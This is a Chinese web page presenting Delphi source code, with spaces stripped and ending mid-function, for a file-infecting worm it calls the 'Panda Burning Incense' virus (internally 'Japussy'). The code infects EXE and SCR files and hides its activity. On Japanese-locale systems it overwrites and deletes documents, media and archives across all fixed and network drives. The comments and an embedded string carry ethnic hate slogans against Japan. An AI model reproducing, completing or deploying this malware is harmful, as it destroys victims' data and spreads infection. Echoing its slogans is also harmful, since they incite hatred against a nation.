熊貓燒香病毒源代碼

1、“熊貓燒香”簡介：“熊貓燒香”病毒是一個(gè)能在電腦操作系統(tǒng)上運(yùn)行的蠕蟲病毒。采用“熊貓燒香”頭像作為圖標(biāo)。它的變種會(huì)感染EXE可執(zhí)行文件，被病毒感染的文件圖標(biāo)均變?yōu)椤靶茇垷恪薄Ｍ瑫r(shí)，受感染的計(jì)算機(jī)還會(huì)出現(xiàn)藍(lán)屏、頻繁重啟以及文件被破壞等現(xiàn)象。該病毒會(huì)在中毒電腦中所有的網(wǎng)頁文件尾部添加病毒代碼。目前已有百萬臺(tái)電腦受害。programJapussy;usesWindows,SysUtils,Classes,Graphics,ShellAPI,Registry;constHeaderSize=82432;/病毒體的大小IconOffset=$12EB8;/PE文件主圖標(biāo)的偏移量/在我的Delphi5S

2、P1上面編譯得到的大小，其它版本的Delphi可能不同/查找2800000020的十六進(jìn)制字符串可以找到主圖標(biāo)的偏移量HeaderSize=38912;/Upx壓縮過病毒體的大小IconOffset=$92BC;/Upx壓縮過PE文件主圖標(biāo)的偏移量/Upx1.24W用法:upx-9-8086Japussy.exeIconSize=$2E8;/PE文件主圖標(biāo)的大小-744字節(jié)IconTail=IconOffset+IconSize;/PE文件主圖標(biāo)的尾部ID=$44444444;/感染標(biāo)記/垃圾碼，以備寫入Catchword=Ifaraceneedtobekilledout,itmustbeYa

3、mato.+Ifacountryneedtobedestroyed,itmustbeJapan!+*W32.Japussy.Worm.A*;$R*.RESfunctionRegisterServiceProcess(dwProcessID,dwType:Integer):Integer;stdcall;externalKernel32.dll;/函數(shù)聲明varTmpFile:string;Si:STARTUPINFO;Pi:PROCESS_INFORMATION;IsJap:Boolean=False;/日文操作系統(tǒng)標(biāo)記判斷是否為Win9xfunctionIsWin9x:Boolean;var

4、Ver:TOSVersionInfo;beginResult:=False;Ver.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);ifnotGetVersionEx(Ver)thenExit;if(Ver.dwPlatformID=VER_PLATFORM_WIN32_WINDOWS)then/Win9xResult:=True;end;在流之間復(fù)制procedureCopyStream(Src:TStream;sStartPos:Integer;Dst:TStream;dStartPos:Integer;Count:Integer);varsCurP

5、os,dCurPos:Integer;beginsCurPos:=Src.Position;dCurPos:=Dst.Position;Src.Seek(sStartPos,0);Dst.Seek(dStartPos,0);Dst.CopyFrom(Src,Count);Src.Seek(sCurPos,0);Dst.Seek(dCurPos,0);end;將宿主文件從已感染的PE文件中分離出來，以備使用procedureExtractFile(FileName:string);varsStream,dStream:TFileStream;begintrysStream:=TFileStrea

6、m.Create(ParamStr(0),fmOpenReadorfmShareDenyNone);trydStream:=TFileStream.Create(FileName,fmCreate);trysStream.Seek(HeaderSize,0);/跳過頭部的病毒部分dStream.CopyFrom(sStream,sStream.Size-HeaderSize);finallydStream.Free;end;finallysStream.Free;end;exceptend;end;填充STARTUPINFO結(jié)構(gòu)procedureFillStartupInfo(varSi:ST

7、ARTUPINFO;State:Word);beginSi.cb:=SizeOf(Si);Si.lpReserved:=nil;Si.lpDesktop:=nil;Si.lpTitle:=nil;Si.dwFlags:=STARTF_USESHOWWINDOW;Si.wShowWindow:=State;Si.cbReserved2:=0;Si.lpReserved2:=nil;end;發(fā)帶毒郵件procedureSendMail;begin/哪位仁兄愿意完成之？end;感染PE文件procedureInfectOneFile(FileName:string);varHdrStream,Src

8、Stream:TFileStream;IcoStream,DstStream:TMemoryStream;iID:LongInt;aIcon:TIcon;Infected,IsPE:Boolean;i:Integer;Buf:array0.1ofChar;begintry/出錯(cuò)則文件正在被使用，退出ifCompareText(FileName,JAPUSSY.EXE)=0then/是自己則不感染Exit;Infected:=False;IsPE:=False;SrcStream:=TFileStream.Create(FileName,fmOpenRead);tryfori:=0to$108d

9、o/檢查PE文件頭beginSrcStream.Seek(i,soFromBeginning);SrcStream.Read(Buf,2);if(Buf0=#80)and(Buf1=#69)then/PE標(biāo)記beginIsPE:=True;/是PE文件Break;end;end;SrcStream.Seek(-4,soFromEnd);/檢查感染標(biāo)記SrcStream.Read(iID,4);if(iID=ID)or(SrcStream.Size10240)then/太小的文件不感染Infected:=True;finallySrcStream.Free;end;ifInfectedor(no

10、tIsPE)then/如果感染過了或不是PE文件則退出Exit;IcoStream:=TMemoryStream.Create;DstStream:=TMemoryStream.Create;tryaIcon:=TIcon.Create;try/得到被感染文件的主圖標(biāo)(744字節(jié))，存入流aIcon.ReleaseHandle;aIcon.Handle:=ExtractIcon(HInstance,PChar(FileName),0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream:=TFileStream.Creat

11、e(FileName,fmOpenRead);/頭文件HdrStream:=TFileStream.Create(ParamStr(0),fmOpenReadorfmShareDenyNone);try/寫入病毒體主圖標(biāo)之前的數(shù)據(jù)CopyStream(HdrStream,0,DstStream,0,IconOffset);/寫入目前程序的主圖標(biāo)CopyStream(IcoStream,22,DstStream,IconOffset,IconSize);/寫入病毒體主圖標(biāo)到病毒體尾部之間的數(shù)據(jù)CopyStream(HdrStream,IconTail,DstStream,IconTail,Hea

12、derSize-IconTail);/寫入宿主程序CopyStream(SrcStream,0,DstStream,HeaderSize,SrcStream.Size);/寫入已感染的標(biāo)記DstStream.Seek(0,2);iID:=$44444444;DstStream.Write(iID,4);finallyHdrStream.Free;end;finallySrcStream.Free;IcoStream.Free;DstStream.SaveToFile(FileName);/替換宿主文件DstStream.Free;end;except;end;end;將目標(biāo)文件寫入垃圾碼后刪除

13、procedureSmashFile(FileName:string);varFileHandle:Integer;i,Size,Mass,Max,Len:Integer;begintrySetFileAttributes(PChar(FileName),0);/去掉只讀屬性FileHandle:=FileOpen(FileName,fmOpenWrite);/打開文件trySize:=GetFileSize(FileHandle,nil);/文件大小i:=0;Randomize;Max:=Random(15);/寫入垃圾碼的隨機(jī)次數(shù)ifMax5thenMax:=5;Mass:=Sizediv

14、Max;/每個(gè)間隔塊的大小Len:=Length(Catchword);whileiMaxdobeginFileSeek(FileHandle,i*Mass,0);/定位/寫入垃圾碼，將文件徹底破壞掉FileWrite(FileHandle,Catchword,Len);Inc(i);end;finallyFileClose(FileHandle);/關(guān)閉文件end;DeleteFile(PChar(FileName);/刪除之exceptend;end;獲得可寫的驅(qū)動(dòng)器列表functionGetDrives:string;varDiskType:Word;D:Char;Str:string;

15、i:Integer;beginfori:=0to25do/遍歷26個(gè)字母beginD:=Chr(i+65);Str:=D+:;DiskType:=GetDriveType(PChar(Str);/得到本地磁盤和網(wǎng)絡(luò)盤if(DiskType=DRIVE_FIXED)or(DiskType=DRIVE_REMOTE)thenResult:=Result+D;end;end;遍歷目錄，感染和摧毀文件procedureLoopFiles(Path,Mask:string);vari,Count:Integer;Fn,Ext:string;SubDir:TStrings;SearchRec:TSearc

16、hRec;Msg:TMsg;functionIsValidDir(SearchRec:TSearchRec):Integer;beginif(SearchRec.Attr16)and(SearchRec.Name.)and(SearchRec.Name.)thenResult:=0/不是目錄elseif(SearchRec.Attr=16)and(SearchRec.Name.)and(SearchRec.Name.)thenResult:=1/不是根目錄elseResult:=2;/是根目錄end;beginif(FindFirst(Path+Mask,faAnyFile,SearchRec

17、)=0)thenbeginrepeatPeekMessage(Msg,0,0,0,PM_REMOVE);/調(diào)整消息隊(duì)列，避免引起懷疑ifIsValidDir(SearchRec)=0thenbeginFn:=Path+SearchRec.Name;Ext:=UpperCase(ExtractFileExt(Fn);if(Ext=.EXE)or(Ext=.SCR)thenbeginInfectOneFile(Fn);/感染可執(zhí)行文件endelseif(Ext=.HTM)or(Ext=.HTML)or(Ext=.ASP)thenbegin/感染HTML和ASP文件，將Base64編碼后的病毒寫入/

18、感染瀏覽此網(wǎng)頁的所有用戶/哪位大兄弟愿意完成之？endelseifExt=.WABthen/Outlook地址簿文件begin/獲取Outlook郵件地址endelseifExt=.ADCthen/Foxmail地址自動(dòng)完成文件begin/獲取Foxmail郵件地址endelseifExt=INDthen/Foxmail地址簿文件begin/獲取Foxmail郵件地址endelsebeginifIsJapthen/是倭文操作系統(tǒng)beginif(Ext=.DOC)or(Ext=.XLS)or(Ext=.MDB)or(Ext=.MP3)or(Ext=.RM)or(Ext=.RA)or(Ext=.W

19、MA)or(Ext=.ZIP)or(Ext=.RAR)or(Ext=.MPEG)or(Ext=.ASF)or(Ext=.JPG)or(Ext=.JPEG)or(Ext=.GIF)or(Ext=.SWF)or(Ext=.PDF)or(Ext=.CHM)or(Ext=.AVI)thenSmashFile(Fn);/摧毀文件end;end;end;/感染或刪除一個(gè)文件后睡眠200毫秒，避免CPU占用率過高引起懷疑Sleep(200);until(FindNext(SearchRec)0);end;FindClose(SearchRec);SubDir:=TStringList.Create;if(F

20、indFirst(Path+*.*,faDirectory,SearchRec)=0)thenbeginrepeatifIsValidDir(SearchRec)=1thenSubDir.Add(SearchRec.Name);until(FindNext(SearchRec)0);end;FindClose(SearchRec);Count:=SubDir.Count-1;fori:=0toCountdoLoopFiles(Path+SubDir.Strings+,Mask);FreeAndNil(SubDir);end;遍歷磁盤上所有的文件procedureInfectFiles;varDriverList:string;i,Len:Integer;beginifGetACP=932then/日文操作系統(tǒng)IsJap:=True;/去死吧！DriverList:=GetDrives;